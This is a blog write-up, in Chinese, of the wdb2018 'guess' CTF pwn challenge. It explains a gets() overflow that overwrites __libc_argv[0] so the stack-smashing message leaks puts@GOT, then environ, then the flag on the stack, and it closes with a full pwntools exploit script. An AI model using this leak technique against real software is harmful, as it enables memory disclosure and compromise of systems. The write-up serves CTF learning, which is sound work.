wdb2018 guess 之 environ的利用

题目地址

漏洞和知识

  • gets函数:栈溢出
  • 破坏canary:会调用___stack_chk_fail,打印出该文件所在地址
  • fork与wait:fork调用子进程,wait 父进程会等待子进程

__stack_chk_fail源码:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

这个函数会打印__libc_argv[0],其实就是文件路径,我们只用找到__libc_argv[0]在哪,看文件地址。

environ利用

通过libc找到environ地址后,泄露environ地址处的值,可以得到环境变量地址,环境变量保存在栈中,通过偏移可以得到栈上任意变量的地址

思路

╰─➤  checksec pwn
[*] '/ctf/tools/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

while循环会调用3个子进程,加上父进程,一共四个,但是gets函数只会执行3次,看看我下面的分析原因:

  • 在gdb中调试,在gets处下断点,计算偏移:

偏移0x128:

  • puts_got表中内容泄露出来。将__libc_argv[0]覆盖为puts_got,此时我们把canary破坏了,会调用__stack_chk_fail,打印出puts_got表中内容,然后可以获得libc基址了:
    offset = 0x128
    puts_got = elf.got["puts"]

    payload = b"a"*(offset) + p64(puts_got)
    sla(b"guessing flag\n",payload)
    io.recvuntil(b"*** stack smashing detected ***: ")
    puts_addr = get_addr()
    libc_base = puts_addr - libc.sym["puts"]
    environ = libc_base + libc.sym["environ"]
  • 用同样的方法,把environ表中内容泄露出来,然后就能通过偏移计算得到所有栈上位置。
    payload = b"a"*(offset) + p64(environ)
    sla(b"guessing flag\n",payload)
    io.recvuntil(b"*** stack smashing detected ***: ")
    stack_addr = get_addr()
    print("stack ------> "+hex(stack_addr))
  • 我们还知道,程序在开始处会把flag.txt中内容读到栈上,我们找到他与environ的偏移。

这是泄露出来的environ中的值:

所以偏移值:0x7ffd2d95e6c8 - 0x7ffd2d95e560 = 0x168

  • 接下来就是覆盖__libc_argv[0]为flag地址,那么就会泄露出flag了。
    flag_addr = stack_addr - 0x168
    payload = b"a"*offset + p64(flag_addr)
    sla(b"guessing flag\n",payload)

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")

# io=remote('node5.buuoj.cn',26336)
io = process("./pwn")

elf=ELF("./pwn")
libc=ELF('/ctf/tools/libs/libc-2.23-64.so')

sla = lambda x,y : io.sendlineafter(x,y)
sa  = lambda x,y : io.sendafter(x,y)
sl  = lambda x   : io.sendline(x)
sd  = lambda x   : io.send(x)
gd  = lambda     : gdb.attach(io)
inter = lambda   : io.interactive()

def get_addr() :
    return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))  

def pwn():
    offset = 0x128
    puts_got = elf.got["puts"]

    payload = b"a"*(offset) + p64(puts_got)
    sla(b"guessing flag\n",payload)
    io.recvuntil(b"*** stack smashing detected ***: ")
    puts_addr = get_addr()
    libc_base = puts_addr - libc.sym["puts"]
    environ = libc_base + libc.sym["environ"]

    payload = b"a"*(offset) + p64(environ)
    sla(b"guessing flag\n",payload)
    io.recvuntil(b"*** stack smashing detected ***: ")
    stack_addr = get_addr()
    print("stack ------> "+hex(stack_addr))
    
    flag_addr = stack_addr - 0x168
    payload = b"a"*offset + p64(flag_addr)
    sla(b"guessing flag\n",payload)
  
    inter()

pwn()
posted @ 2024-03-30 23:05  _Ya0  阅读(196)  评论(0)    收藏  举报